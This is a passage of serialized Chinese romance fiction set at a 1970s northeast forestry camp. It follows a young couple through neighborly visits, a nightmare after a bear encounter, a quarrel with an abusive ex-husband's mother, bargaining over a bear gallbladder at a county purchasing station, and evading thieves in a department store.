小小的一间半房陷入安静,就显得外面院子里传来的声音格外清晰。
“等一下,我先过去把门开了。”是郭大娘。
严雪走到门边看了眼,发现不止郭大娘,后面郭长平、郭长平媳妇都在,郭长平背上还背着一个人。
她开门迎出来,“是长安出院了吗?”帮着动作有些慢的郭大娘把门打开。
郭大娘见了就没再急,“是啊,今天出院,你跟小祁两口子都忙,我就没跟你们说。”
“那您挺会挑日子,今天我俩刚好都在家。”严雪帮郭大娘撑着门,又问:“有没有什么我俩能帮上的?”
祁放那边洗了把手,很快也跟了出来。
“还真在家啊?”郭大娘有些意外,但还是道:“不用了,我们这人够用。”
说话间郭长平已经背着弟弟进了门,比起上次在山上匆匆一瞥,郭长安整个人瘦了一大圈,头发胡子虽然打理过,眼窝却是深陷的,眼神也空洞无光。
一开始他还半睁着眼,见严雪和祁放出来就闭上了,从严雪身边经过的时候更是把头转向了另一边。
这多少有些不礼貌了,郭大娘看看严雪,欲言又止。
严雪倒没在意,笑着摇摇头表示没有关系。
她虽然没遭受过相同的打击,但郭长安的心理多少能了解一点。
不想看到人,不想被关注,生怕会收到异样的眼光,哪怕只是同情,尤其是一开始的时候。上辈子他爸因为她,算是很快站起来的,被别人注意到空荡荡的裤管,也总是浑身不自在,甚至想要藏起来。
她没有多往那边看,“您这要是不用人,我就先回去了。”
见郭大娘连忙点头,又回去拿了块熊肉过来,“山上碰到的,天暖和了也放不了几天。”
“这……哪好意思总吃你东西?”郭大娘脸现为难。
“您家酸菜我们没吃啊?还是祁放那裤子不是您帮着跑的?”
严雪可不会用缝纫机,衣服破了只能手补,补得还没祁放之前自己补的好。
东西放下她就回去了,不多会儿郭长平从里屋出来,看到问郭大娘:“人还不错?”
“挺好的,”郭大娘说,“没少往咱家送吃的,你们不在家,也没少给我帮忙。”
自家亲妈是真心还是遮掩郭长平还是能看出来的,“也好,至少没白瞎了那些东西。”
他指的是为郭长安结婚准备那些家具,里面有几个凳子还是他帮着打的。
郭大娘也知道,眼神不由一暗,“希望现在遇到好人,以后也能时来运转,多遇到点好事吧。”
好人严雪刚把红烧熊掌做出来,刘卫国就闻着味儿来了,“我说咋这么香,果然是从你们这飘出去的。”
“来都来了,坐下来吃点儿?”严雪招呼他。
“那可不敢多吃,给一口尝尝味儿得了。”
刘卫国显然还记得之前祁放是怎么抠门的,真就只吃了一口,一口顶三口那种一口。
吃完他才说明自己的来意,原来刘大牛跟生产调度讨论过后,一致认为今天那头黑瞎子是被采伐时的机械声提前惊出仓的。回去跟郎书记一商量,准备让刘老爷子带上保卫科和几个枪法好的,再把周围排查一遍。
祁放因为今天的表现,也被点了名,“郎书记说工资照发,每天还多给两块钱的补贴,算是奖金。”
多给钱也是一天,少给钱也是一天,祁放掀眸看了看严雪,没发表什么意见。
事情说完,刘卫国就走了,临走被严雪塞了个熊掌,“回去让刘大娘也做给你吃。”
“好嘞,还是你敞亮。”刘卫国揣着熊掌跑了。
他一走,家里又只剩祁放和严雪两个人,你不说话,我也不说话,一顿饭吃得十分沉默。
到了晚上熄灯,别说睡前运动了,连各家常见的两口子夜话都没有。
谁知严雪刚闭上眼没多久,就重新回到了白天那片树林,风跑起来还是那么凉,场面也还是那么混乱,这一回,被追的人却换成了她。
在她被横出来的树枝绊倒的时候,大黑熊人立起来,那锋利的尖爪和血盆大口甚至距她不足一米……
严雪一个激灵醒了过来,大口大口喘气。
祁放也不知道是没有睡,还是被她给吵醒,立即问:“怎么了?”
严雪下意识便道:“没事儿,就是做了个噩梦。”
旁边的人也不知道是随口一问,还是又睡着了,她这句说完,半晌都没再言语。
严雪也不在意,自顾自翻了个身,努力平复着呼吸和心跳。
就是刚被噩梦吓醒,她实在不太敢马上重新入睡。
严雪又想翻身了,好歹盯着棚顶看一会儿,能保持一会儿的清醒,可又怕吵到旁边的人。
胡思乱想中,不知谁不耐地翻了个身。
接着一具温热的身体贴上来,将她搂进了怀里——
[捂脸偷看][捂脸偷看][捂脸偷看]
柴火
==============
严雪从没想过祁放会抱上来,结婚一个多月了,这还是他第一次主动和她有肢体接触。
虽然在发生了那样的事情之后,在她做了噩梦之后,很显然只是个安慰的拥抱,不带有任何其他意味。
但这样的拥抱她也很久没有过了啊,自从妈妈走了,都是她来抱爸爸。
不管是儿时伸开短短的胳膊,还是爸爸病重时抱着爸爸上下床,给爸爸翻身,再也没有哪个怀抱能给她窝一下。
以至于当对方突然抱上来,她竟然全身僵硬,有些无所适从。
祁放感觉到了,但却没有松手。
在山上时他松了,可她嘴上说着没事,晚上却被噩梦惊醒。
他甚至握上了她的腰,把人又往怀里紧了紧,强势地,不容拒绝地。
严雪瞬间感觉整个人都被圈住了,仅隔着一层薄薄的衬衫就是男人紧实的躯体,发顶还能感受到他轻吐的呼吸。
这让她忍不住动了动,腰间立马被人不轻不重捏了下,“睡觉。”
严雪下意识变得安静,然后过不多久,又轻轻地,很不自在地挪了挪。
她睡觉只穿了个小背心,肩膀、手臂甚至腰肢都有一点裸露在外,祁放搂着她,本就像搂了一朵云,抱了一团雪,有点无处下手。此时再这么一动,那凝脂般的细腰就在他掌心溜了溜,蹭起一点灼热的温度。
这回他直接两只手都掐了上去,语气也带出些不耐,“别乱动。”
严雪瞬间被那掌心的热度烫了下,一僵,“又不是我想乱动,你这样我不舒服。”
“我还没说不舒服。”祁放语气臭臭的。
严雪好歹枕在枕头上,他为了过来抱她,脑袋几乎是悬空的。
但严雪这么说,他还是调整姿势,让她改枕在了自己手臂上,“这回行了吧?”
语气真的是不算好,但对比平时冷冷淡淡的样子,反而多了点鲜活气。
这让严雪总算感觉他不像冰了,此刻包围着她的灼烫体温又有哪一点像冰?
大概是白天刚受过惊吓,又或者黑暗会让人的脆弱滋生,严雪最终还是没再动,只将脸贴近了男人肩窝。
黑暗中一时有些寂静,只能听到两道都很放轻的呼吸声,像是稍大一点,就会打破此刻的平衡。
好半晌,严雪才低低说了声,“谢谢。”
“睡觉。”祁放还是那简短的两个字,不过手却抬起来,极轻极轻在她头上揉了下。
严雪被弄得有些痒,下意识一躲,“你把我当小孩哄呢?”
“也差不多。”男人竟然懒懒应了声。
这严雪可就不爱听了,他居然暗指她长得矮,“小孩你还跟我结婚,你有特殊爱好啊?”
“是有特殊爱好,爱好给自己找麻烦。”
自己都过成这个样了,还让她留下来,管她晚上做不做噩梦……
祁放颇有些自嘲地想,下一秒就感觉怀里的人倏然离开了他的胳膊。
这是真被他的话气到了?
他一窒,严雪已经转了个身变成面对着他,“你不麻烦,你整天冷着个脸不搭理人。”
严雪其实不想说这些的,毕竟两个人并不熟,又只是搭伙过日子,能将就将就将就得了。她有手有脚,又不是非要谁对她好,自己一样能过得很不错。
但白天才经历了那样的事,她情绪起伏实在有点大,此刻又和他如此近地贴着,就没忍住说了出来。
不仅说,她还在被子底下踢了男人一脚。
只不过话说了,人踢了,出走的理智也迅速回笼了。
她总说祁放心思深沉,她又何尝不是,看似笑盈盈的,却把自己武装得刀枪不入。
不过祁放倒并没有着恼,语气反而还好了不少,“现在可以睡了吧?”
“嗯。”
很奇妙地,严雪刚刚惊醒时那种心悸惊慌已经不剩下多少了。
祁放听着,犹豫了一瞬,还是没把手松开。
严雪也犹豫着要不要跟他说自己已经好了,然后犹豫着犹豫着,天就亮了。
噩梦没再来找她,身边的人也照旧起得很早,她一个人躺在那愣了会儿,才起来弄早餐。
厨房里祁放已经将大地锅烧上了,正往里添柴,听她出来掀了掀眼皮,“醒了。”恢复了平时冷淡的模样。
严雪也弯起眉眼去挽袖子,“想吃点什么?”语气和平时一样轻松。
祁放目光在她恢复红润的面上落了落,“都行。”
严雪就转身去碗柜下面找面,“那我烙点单饼,给你中午带饭。”
进山巡逻不比采伐,要深入林子,中午没法回营地吃饭,都得自己带。
正好家属队也都是自己带饭,她一口气烙了十几张单饼,张张不过脸盘大,比纸也厚不了多少。配上点家里腌好的萝卜条、早上新炒的土豆丝和昨天的熊肉,绝对称得上丰盛。
两人吃过饭,一人一个饭盒去停车点等车。
今天上山的人明显比昨天少了,几个知青都没来,这帮人平时干活就不怎么积极,受了这种惊吓哪能继续上山。
但连严雪这样的家属工也缺了好几个,倒是郭长平媳妇出现在了通勤车的停车点,昨天才刚回来,今天就开始上班了。
家属队不少人都和她打招呼,问她郭长安的情况,她一一点头回应,只是话不多。
少数几个没和她打招呼的里面就有李树武媳妇,对方甚至一见面就翻给了她一个大大的白眼,毕竟李树武那两颗牙现在还漏着风呢。
郭长平媳妇没搭理她,上了山也不找人搭伙聊天,低了头开始干活,动作比谁都麻利。
其他人就没那么足的干劲儿了,毕竟昨天才出了那样的事,有人甚至干一会儿就要留意下不远处的林子。
场领导也知道,安排完人进山巡逻,又特地来了家属队这边,算是安抚家属工的情绪。
当然只来了郎书记和负责营地的生产调度,于场长闺女受伤,儿子也被吓得不轻,今天请假没来。
有那消息灵通的已经听说了,于翠云伤得不算太重,但肩膀头骨头裂了,得戴上好一阵子的夹板。
“本来好好的,都听小严的退出老远了,她非要喊,差点儿没把大家坑死。”
一提这个还是有人气不打一处来,也有人看在只有于翠云自己受了伤,帮着劝两句。
“那也是她自己找的。”对方还是愤愤,不过当着场领导的面,倒也没说什么。
其他人都慰问完,郎书记看向了严雪,“小严是吧?我对你有印象,年前刚给你跟小祁主持完婚礼。”
严雪点头,“郎书记记性真好。”
“这么好看的一对儿换了谁都得记得。”郎书记笑了,又问:“听说昨天刚发现黑瞎子,是你组织大家慢慢后退的?”
和祁放那几枪相比,严雪那都是小事了,没想到还会特地有人跟郎书记说。
她心里一动,下意识朝郎月娥看去。
郎书记注意到,也往那边看了眼,笑容更加和煦,“遇事临危不乱,还能想着旁人,是个好同志,以后好好干。”夸奖鼓励了几句才带着人走了。
等大家都散开,严雪低声问郎月娥:“这事不会是你说的吧?郎书记真是你爸啊?”
“你才知道?”郎月娥是真的意外,她还以为严雪早知道了。
严雪笑着摇摇头,“我没特地打听。”
这种不多话也不爱打听事儿的人还真不多见,郎月娥眼睛里多了些笑意,“是我爸,不过我是跟着我妈改嫁过来的。”
说得很坦诚了,虽然这事不是秘密,林场随便找个老人都能打听出来。
严雪听了一愣,又抬眼认真看了看她。
郎月娥还以为她要说什么,结果她放轻了声音,“那还真巧,我也是。”
这回换郎月娥发愣了,她忍不住望望严雪,发现严雪看着她的眼睛里全是真诚。
这让她感觉到了被尊重,毕竟严雪是外面来的,不像她,只要严雪不说,又有谁会知道?
可严雪还是跟她说了,或许是想告诉她她们有相似的身世,又或许只是想说这没什么。
郎月娥眼里的笑意深了几分,语气也不自觉变得亲近,问严雪:“你跟祁放去年那车柴火还没领吧?”
的确没领,毕竟他们才结婚没两天就过年了。不过郎月娥不是会平白说这个的人,严雪望着对方点了点头。
第 25-26 章
只有郎月娥前婆婆笑不出来,被严雪一番含沙射影阴阳怪气气得脸皮子直抖。
叫严雪这么一闹,她也没法再跪了,不然就真成了道德绑架,只能一把甩开严雪。
严雪也不是非要箍着对方,虽然最近干活多练出了点力气,箍个这么壮的人她还是挺吃力的。
她顺势松了手,嘴上也忙道歉,“大娘您别生气,我这也是怕自家人吃亏,有点急了。”
自家人?
郎月娥婆婆才不信她的道歉,脸上怒气未消,又被这话弄得有些莫名。
儿子儿媳结婚时郎家的亲戚她都见过,没记得有长得这么水灵的姑娘啊。
结果严雪张嘴就来,“对啊,我有个兄弟介绍给月娥姐了,这眼瞅着就是一家人,能不怕她吃亏吗?”
原来是这么个一家人,别说郎月娥前婆婆,郎月娥都有些意外。
严雪还在说:“我这兄弟长得可好了,一米八多大个儿,人能干,又踏实。好不容易找这么个可心的对象,要是什么人都能给哄回去,面子往哪搁啊?”
刘春彩怎么卖哥哥,她就怎么卖这个所谓的“兄弟”,还把当初姑姥姥介绍祁放的话也拿来用了。
至于后面那句,纯粹是在踩对方,郎月娥前婆婆显然听出来了,冷笑,“你就编吧,条件这么好还能看上她一个二婚的?”
“二婚怎么了?离婚是《婚姻法》允许的,证明国家也觉得这是正常且正确的行为。”
严雪一脸这就是你思想不进步了,“我们家又不在乎这些,我那兄弟也不是那不长眼的,娶了那么好的媳妇还打媳妇……”
说到这里她一顿,似是想到了什么,笑容讪讪,“抱歉啊大娘,我不是有意说您儿子。”
她不道歉还好,一道歉,分明是在告诉郎月娥前婆婆:“对啊,我骂的就是你儿子。”
郎月娥前婆婆脸都发青了,严雪假装没看见,还笑着和她道谢:“唯一麻烦的就是孩子,您家人舍得,也帮我们解决了。”
气不气人?
你说气不气人!
她就差指着郎月娥前婆婆的鼻子骂:“虎毒尚且不食子,你儿子连个畜生都不如。”
郎月娥前婆婆见过撕逼打架的,见过泼妇骂街的,就是没见过这种,脏字都不吐一个却能把人气个半死的。
想动手打人吧,对方早闪得远远的了,山上都是林场的人她也占不到便宜。
最后她指着严雪“你”“你”了半天,竟然气得说不出话来。
偏这时家属队其他成员也发现了气氛不对,虽然落后严雪半步,依旧围上来不少人,七嘴八舌打着圆场。
当然说是打圆场,多数人还是更向着郎月娥说话,她实在插不上嘴,最后气得把布兜往地上一丢,走了。
走出两步觉得不对,又回头把东西捡了起来。
这可真是被气蒙了,做衣服也要布票要钱要手工费的,哪能说扔就扔,便宜了那白眼狼。
郎月娥望着她气急败坏远去的背影,从见到人时便萦绕在心头那股郁气突然就散了。
“解气吧?”严雪走过来笑着问,“这种人就该有多难听骂多难听,不然她还当你脾气好好欺负呢。”
郎月娥的确是脾气好,不然也不能在康培胜第一次动手的时候选择听他的道歉听婆婆的劝忍了,让对方愈发变本加厉……
她沉默了下,真诚对严雪道:“谢谢你。”
“这可真是,上午我才谢过你,中午你就还给我了。”
严雪摇摇头,终于让郎月娥露出点笑模样。
其他人见了,都开始缓和气氛,“看不出来啊小严,你还这么能说呢?”
“我觉着小严说得对,干啥呢说跪就跪,这不逼着人不答应不行吗?”
也有人问严雪:“我看你说得头头是道的,咋啦?真看上咱们月娥,有兄弟要介绍给她啊?”
“有是有,”严雪抿嘴一笑,“不过比我小九岁,月娥姐要是不嫌他小也行。”
这回郎月娥是真笑了,其他人也被她逗得不行,很快便忘了刚刚的小插曲。
不过严雪上午问的事,郎月娥倒是真的放在了心上,没两天过来告诉她,自己已经跟场里打好招呼了,到时候最少给她送一车的树头。
当时祁放也刚巡完山回来,正在门口自己刷鞋,见人走了说了句:“盖房子我找人批木材了。”
严雪愣了下,才反应过来他是以为自己要树头是为了盖房子,“没事,我有别的用处。”
还有别的用处?
祁放抬眸看了看她,到底没问,只把刷好的鞋立在窗台上控水。
影儿都还没有的事呢,严雪也不喜欢多说,反而问:“你明天还去巡逻吗?”
“不去了,今天已经巡完了,附近只有那一只黑熊。”
这个严雪也知道,黑熊虽然没再碰到,巡逻队上山却也没空手,逮到了两群野猪,还有一窝獾子。
这两样危险性没黑熊高,但都是喜欢祸害庄稼的,野猪喜欢用嘴拱,獾子喜欢打洞直接啃地下的土豆地瓜。巡逻队把附近的林子都清了一遍,一来保证后续采伐和清林作业的安全,二来也给农业队清除了隐患。
因此大家不仅拿到了每天两块钱的补贴,他们还分到半扇野猪肉和一瓶獾子油。
野猪肉也就罢了,还没有熊肉好吃,纤维粗糙味道也重,得多下料多下火候才能压住,被她把肥肉切下来榨了油。倒是獾子油是个好东西,别管烧伤、烫伤还是冻伤,抹上都有奇效。
她问祁放:“那我明天不用给你带饭了?”
这话让祁放倒水的动作顿了顿,垂着眼没看她,“不用。”
“还是用吧,”严雪说,“反正我也得带饭,带一个人是带,带两个人也是带。”
这回男人看她了,语气还是淡淡的,“你随便。”
但严雪已经多少摸出来点了,他才不随便,他这人难伺候得很,动不动就闹自闭不理人。要不是看在他人不错,晚上还知道陪着她,怕她做噩梦的份儿上,她才懒得伺候。
她横了男人一眼,“以后有什么就直说,不说我真不给你准备了。”
这回男人沉默了一下,但还是没有回答她这话,而是问:“明天用不用我回来?”
除了祁放、刘卫国和部分在山上轮班的保卫科成员,巡逻队里大部分人都是要回家的。
因此巡山这几天,祁放每天都跟着刘老爷子一块下来,住在家里,更确切点说是陪在严雪身边。
也不知道是不是那天的拥抱起了作用,感受到他的体温,严雪竟然莫名得到了安抚,有时候半夜睡得不安稳,下意识便会往他那边靠。
此刻听他这么问,她立马明白了他的意思,笑着道:“不用了,我已经好了。”
祁放静静看着她,没说话。
严雪怕他不信,“真好了,我昨天晚上就没做噩梦。”
她独立惯了,调节能力本来就强,就算没调节过来,也不可能让人不顾工作回来陪自己。
“知道了。”祁放没再说什么,转身回了里屋。
第二天下班,他却出现在了下山的通勤车站点,还是郎月娥先看到,碰碰严雪,“你看那是不是你家小祁?”
天气渐暖,男人不进作业区的时候已经不戴帽子了,颀长的身形英俊的面容在人群中格外显眼。
严雪走过去,还没开口,祁放已经淡淡瞥了她一眼,“今天提前忙完,我回去拿个东西。”
他不说,严雪就也当不知道,只投桃报李,第二天在他的饭盒上多下了点功夫。
一连回家拿了两天东西,男人总算没东西落在家里了。
饭严雪倒是还照常在带,每天中午他亲自过来取,因为家里还剩了不少熊肉、野猪肉,也天天都很丰盛。
这可把工队其他人羡慕坏了,有人甚至跑去家属队问自家媳妇能不能也给自己带饭,被媳妇劈头盖脸说了一顿,“带啥饭带饭?这一天天都够我忙了,晚上回去还得给孩子洗洗涮涮,嫌食堂饭不好吃饿着。”
“你是不知道,你现在在我们工队都成贤惠媳妇代表了,每天中午都得有人酸两句‘好福气啊’,还好采伐已经结束了。”
采伐季在一场开化后彻底结束,众人总算有了假期,刘卫国也又有时间跑来这边串门了。
刚忙完的人一身懒骨头,话也特别多,闲篇扯够了,才想起自己带来的闹钟,“祁放你帮我修一下呗。”
祁放只扫了一眼,“帮谁修的?”
毕竟上个月他才帮刘家修过小座钟,用上个几年绝对没问题,刘家哪里来的闹钟。
果然刘卫国嘿嘿一笑,“帮周文慧修的。”
周文慧,就是夸他钓鱼姿势特别那个女知青,当时在山上遇到熊还扭了脚。
严雪一听笑了,“你挺行啊,这么快就有苗头了?”
“一般一般,全国第三。”刘卫国压压手,“我这也就是刚有点苗头,照比你们还差得远。”
但看他那一脸不值钱的笑,显然心里十分嘚瑟。
严雪就问了句:“怎么做到的?”
“不是你跟我说的吗?让我想办法对她好。正好她脚崴了,我就天天去关心她,给她送吃的,这一来二去……嘿嘿……”
刘卫国一句“嘿嘿”,一切尽在不言中。
好嘛,巡山那几天晚上可以回家,估计都被他拿来追老婆了。
“座钟你都能修,一个闹钟不在话下吧?”刘卫国笑着问祁放,“我可是跟周文慧保证过,肯定能给她修好。”
“那你怎么不自己修?”祁放淡淡看他。
刘卫国搓手,“我不是不会吗?再说你媳妇儿说的,得知道人家想要什么。现在人家就想要修闹钟,你行行好,帮哥们儿个忙。”
很好,搞半天在这儿等着她呢。
严雪无语。
最后闹钟祁放还是给修了,修起来也不难,应该是不小心摔到了,里面零件有些错位。
刘卫国千恩万谢走了,没两天,又来问手表祁放能不能修。
别说祁放,严雪都有点哭笑不得,“我看祁放就快成钟表师傅了,这又是谁的?”
“周文慧他们知青队一个男知青的。“这回刘卫国自己都有点不好意思,“她那个闹钟祁放不是给修好了吗?她同宿舍的女知青都知道,还开她的玩笑,被别人听到了。正好我去找她,他们非问我手表能不能修。”
他讪讪笑,“我只跟他们说可以帮着看看,祁放你能修就修,不能我就直接跟他们说修不了。”
“那你后天过来吧,”祁放说,“今天天暗了。”
手表不比座钟和闹钟,零件小,全是精细活,光线太暗,拆都不敢随便拆。
刘卫国也明白,“你明天有事?”
“明天我和严雪要去卖熊胆。”
熊胆存放倒是不难,冷藏或者干燥都可以,但这东西太值钱,放在家里终归不放心。正好放假,两人就准备去把它卖了。
刘卫国一听,赶忙提醒:“那你们去县里卖,县里有药材公司,收得比镇上贵。”
祁放和严雪本来就是这么打算的,闻言“嗯”了声。
严雪想起什么,又问刘卫国:“县里有没有制药厂你知道吗?”
“你要买药?”祁放立马看了过来。
严雪摇摇头,“不是,是想问点其他东西。”
她没有多解释,祁放也就没有多问。
刘卫国倒是好奇,严雪却只说到时候就知道了,他就想了想,“好像是有,我也不太清楚,你到时候找人问问吧。”
林场还是太偏了,去趟镇上都要一个多小时,到县里还得另外转车。大家没什么事都不会跑那边去,自然也都不怎么了解。
严雪没再问,第二天一早,先坐小火车跟祁放一起去了澄水镇,又转长途汽车去县里。
这年代的客车还是一个门的,车一停,下面等车的人呼啦一下全涌了上来。
售票员靠站在车门口喊:“都让让!都让让!先下后上!别都堵在门口!”收一张车票,往下放一个人。
等严雪和祁放买好票挤上去,别说座位,过道里都快没个站的地方了。
因为人多,味道也杂,紧挨着他们的老大爷还拎了个麻袋。里面不知装了什么鼓囊囊的,时不时就要撞他们一下,麻袋上面还全是泥。
严雪明显发现祁放渐渐蹙起了眉,想起这男人好像特别爱干净,估计是有点受不了了。
她正要出声和他换一下,男人托住她的背往前面一拨,自己侧过身,彻底将她隔离在座位与过道之间,也隔离了老大爷的麻袋。
严雪一愕,那边老大爷应该是也察觉了,连忙跟他们道歉。
祁放什么都没说,一手扶着座椅靠背,始终保持那个姿势站着,直到两人在县里下车。
严雪赶忙去看他的裤子,上面果然蹭了不少泥,倒是她裤腿上没怎么蹭到。
注意到她的视线,男人弯身拍了拍,神色如常问:“直接去药材公司的收购点?”
“嗯。”严雪也拍了拍自己的,在路边找了个人问路。
县里这个收购点可就要比镇上大多了,说是药材公司的,倒不如说是药材公司和土产公司共用的。
严雪和人打听的时候,路人远远一指,“那边最高的那个就是。”竟然是栋足有四层高的小楼。
楼体都是用黑砖砌的,上面还有雕花,看得出来是栋有些年头的老建筑了。进门后前三层都是收普通山货和药材的,到了第四层,才开始收各种动物皮毛和人参鹿茸这些贵重药材。
严雪扫了眼,来卖东西的人还不少,估计除了县周边,也有他们这样从其他镇过来的。
严雪望向祁放,发现祁放刚好也在看她,两人对视一眼,都没急着上前问价,而是选择暂时观望。
县里收东西果然价格更高,平均下来能比镇上贵一成左右。普通东西无所谓,贵价物品卖到这里却明显要更加划算。
两人观察了一阵,就找到一个柜台,由祁放开口,直接问:“你们经理在不在?”
对方一听,立马明白过来这是来大单了,估计自己做不了主,“你们等一下,我去找。”
不多久经理过来,刚看到如此年轻又相貌如此出众的两人还有点意外。毕竟一般出手就是好东西的,都是常年跑山的老人了。
不过他态度上倒是没表现出来,看到祁放拿出来的熊胆也没有露出吃惊,先仔细检查了品质,又拿过小秤称了称,“是品质最好的金胆,也还算新鲜,不过个头不算大,你们要是卖,这一个我给750。”
能赶上祁放一年半的工资了,难怪刘卫国说光这一个胆,严雪那场惊吓就没白受。
祁放垂眸刚露出沉吟,就感觉手被人拽了下。
严雪错了半步上前,笑盈盈对那经理道:“您可别看我们年轻就压价啊,这金胆虽然个头不算大,可是黑熊被激怒后的,品质最好。不信您找根针,滴一滴进酒里,保证直接沉底,绝对不散。”
这明显是个懂行的,一般人哪知道沉不沉底,一听说给这么多钱早卖了。
经理看看她,故作犹豫,“那就800,这个价格绝对公道,不信你可以出去问问。”
严雪还是笑,“叔您看您这就不实诚了,我可是打听了好几个地方,都说您这最公道才来的。要800能卖,我们在镇上就卖了,镇上给的都不止这么些。900,不行我们就去其他地方看看。”
“810,不能再多了。”经理咬咬牙。
十块十块涨,那估计是已经逼近对方的心理底线了,严雪心里有数,但还是道:“850,我们大老远跑一趟不容易,现在开春了,叔您也未必能再收到这么好的胆,您说是吧?”
两人讨价还价半天,最终将价格谈到了820。
经理当着他们的面写了单子,让他们去另一边拿钱,“你这姑娘可真能说,我就没见过比你更能讲价的。”
生意已经谈成了,自然是你好我好大家好,严雪笑道:“那是您让着我,您什么见识,每天见的人比我们一年见的都多。”
“呵,我还真没见过几个这么会说话的。”经理一笑,把写好的单子递给他们,“看好了,820。”
两人去另一边取了钱,连点两遍,才由祁放收进了毛衣里面的衬衫口袋。
两人下了楼,走出收购点,男人看了严雪一眼,“你还去镇上问过价?”
“我哪有那个时间?”严雪弯起眼,笑容几分狡黠,“我就是猜他可能看咱们年轻故意压价,试着讲了一下。”
杀熟和欺生,做生意非常常见的两种现象。
前者是因为熟人对你有信任感,可能不会怀疑你坑他,后者就纯粹是欺负人不懂行了。
严雪上辈子在市场待久了,对这些门清,当然不信对方一开始就会给她合理的价格。祁放却是从没接触过这些的,当时沉吟,只是事先和刘老爷子打听过,知道熊胆都是个什么价收。
不过刘老爷子最高也只给他们估到800,多那20,就纯粹是严雪能讲价了。
祁放从来不知道严雪居然这么会讲价。
自从时隔八年再一次见面,她聪明、坚韧、吃苦耐劳,还比同龄的姑娘都更冷静理智,临危不乱,样样都和他记忆中背道而驰。
倒是个子和长相没怎么变,依旧娇娇小小一张甜美的笑脸。
越和她相处,记忆里那个本就不清晰的形象便愈发模糊,反而眼前这张俏脸逐渐鲜活。
祁放望着那双弯弯的笑眼,没等说什么,严雪已经一拉他,“我记得刚来的时候看到百货商店了,过去逛逛。”
说话间脚步都加快了,倒是有了点年轻姑娘的模样,也有了点小时候的影子。
祁放什么都没说,跟着她去了附近的百货商店,又跟着她从二层楼的楼下逛到楼上,再逛到楼下。
第二次上楼的时候,他终于问了她一句:“就没什么想买的?”
严雪脸上全是纠结,嘴上却压低声音,飞快道:“不是,我怕咱们卖的钱多,被人盯上。”
小偷她不怕,毕竟钱在祁放毛衣里面的口袋里,隔着两三层,小偷想摸都摸不到。
她怕的是有人想抢,接近一个人两年的工资已经够让人铤而走险了,这年代不仅没有监控,木仓/支和刀具还管制得不严。
这是祁放完全没有想过的答案,也让祁放不动声色望了严雪一眼。
严雪也知道自己表现得很像被害妄想症,笑笑,“你就当是我多心吧。”
“不是。”祁放竟然道。
见严雪望来,他声音听不出起伏,“刚才出收购点,有几个人跟上来了。”——
祁放:莫挨老子!哦你要挨老子老婆?那你还是挨老子吧……
手表
==============
严雪只是习惯性谨慎,毕竟前世各种社会新闻看太多了。
没想到竟然真的有人在他们离开收购点时跟了上来,更没想到祁放眼睛这么尖,居然早就发现了。
这要是一般姑娘,肯定忍不住要回头去找;就算不找,乍然听到这种消息,脸上也难免露出异常。
严雪却什么都没表现出来,如常往前走,“现在还在跟吗?”
真的是冷静、理智,且足够有胆色。
祁放记性好,那几张面孔第三次出现在他面前,就被他察觉了。之所以没告诉严雪,是不知道对方会跟多久,怕严雪担心。
结果严雪竟然早有防备。
他都有点想去看严雪了,上次在山上遇到熊,他赶去的时候严雪已经很是狼狈,他还是后来听人说,才知道严雪曾镇定组织过大家退后。
但他克制住了,只低声道:“还在,一个在看手表,一个在看烟,还有一个在百货门外。”
严雪还是没有回头,而是拿起柜台上一个带铁支架的圆镜,“这个比咱们结婚时买那个好,后面的图也漂亮。”
借着看镜子,把他说那两个方向都扫了一遍。
果然有两个人形迹可疑,一直偷偷往这边瞄,“军绿色衣服那个和秃头顶那个?”
“嗯。”祁放低应一声,音量又恢复如常,配合着她,“家里有一个了。”
“我看看还不行吗?”严雪把镜子放下,又拿起旁边的木梳,“我看那边还有成衣,你要不要买一件?”
这倒不只是个幌子,成衣虽然贵,不比自己买布做划算,却可以不用布票。这年代每人每年才有一丈二的布票,她这种个子小的做身衣服还勉强,像祁放这种个子高的,根本不够用。
她拿了件尺码最大的,往祁放身上一比,竟然还有点小,只能问售货员,“没有再大的了吗?”
“没了,”售货员随意瞟了一眼说,“咱这成衣不好卖,就这几件。”
严雪放下,刚要再看看别的,祁放淡淡出声,“我不用,你给自己买就行。”
“你那几件都穿多少年了?”严雪还是又拿起一件白衬衫。
祁放衣服很少,虽然都是耐穿又耐磨的料子,不是普通土布,但看得出来绝对上了年头,有些袖口已经不那么够长了。严雪估计他近两年可能就没添过衣服,不然她俩结婚的时候哪能一下子拿出那么多布票。
她费了点劲找到两件男人能穿的,全买了下来,又去看文具,“这个铁铅笔盒不错,继刚肯定喜欢。”
拿自己兜里的钱买了下来,准备等继刚来了给他用。
严雪转了一圈,零零碎碎买了不少东西,竟然没一件是买给自己的。
祁放忍不住又问了一遍:“你就没什么想要的?”
“有啊,”严雪笑盈盈道,“我想要钱。”
也不知道是真心话,还是在开玩笑,但祁放还是看了一眼她,“回去就给你。”
两人待在百货商店迟迟不走,还买上了东西,可把后面尾随的两个人急坏了。
“这人来人往的,咋动手?”
“我哪知道?一个多小时了,刚才卖手表那售货员都开始瞪我了。”
两人短暂碰了个头,到底不死心,又分开来继续跟,然后再一次碰头。
“妈的,俩小时了,我还没跟谁跟这么长时间过。”
“这俩人是没见过东西咋的?逛这么长时间也不嫌乎累。”
“沟里来的,没见过百货商店吧,关键他妈这么买下去,钱还能剩下?”
这才是问题,他们想要钱,又不想要那些乱七八糟的东西。
正骂骂咧咧,守在外面那个也等不及了,上来问俩人:“到底还能不能行了?”
“你问我,我问谁去?”
三人又等了一会儿,实在等不下去,只能走了,临走前,还狠狠朝祁放和严雪瞪了一眼。
严雪低着头装没看见,过了好一会儿,才问祁放:“都走了?”
“嗯。”
她这才轻轻吐出一口气,“总算走了。”
又放下手里的东西看了眼表,“再不走,时间都来不及了。”
祁放知道她想去制药厂,但还是顿了下,说:“先去附近派出所吧。”
这让严雪抬眸看了他一眼,却到底什么都没说,只到前面另一个柜台,“同志给我来两包烟,谢谢。”
东北不少女性都抽烟,岁数大的抽烟袋,岁数小的抽卷烟,严雪他们家属队就有。
但严雪是不抽烟的,祁放也不抽,她会买烟,估计是另有用处。
祁放没有问,却提起之前的话题,“你不想报案?”
严雪一抬眼,就对上他有些深的眼神,不似平时眼帘半垂的懒怠,细究甚至带着一丝审视与刺探。
严雪本来不想说的,但他既然非要问,她还是说了,“我是觉得报案也未必有用。这些人成群结队,专门蹲在收购点外面,到现在还好好的,只能证明他们是老油条了。”
更深的严雪没有提,但估计祁放也能懂。
她前世在市场混迹多年,知道小偷都是分片区的,偷市场的只偷市场,偷车站的只偷车站。哪些是小偷,他们这些摊贩都知道,警察也知道,但那些人不还是好好地在那偷东西?
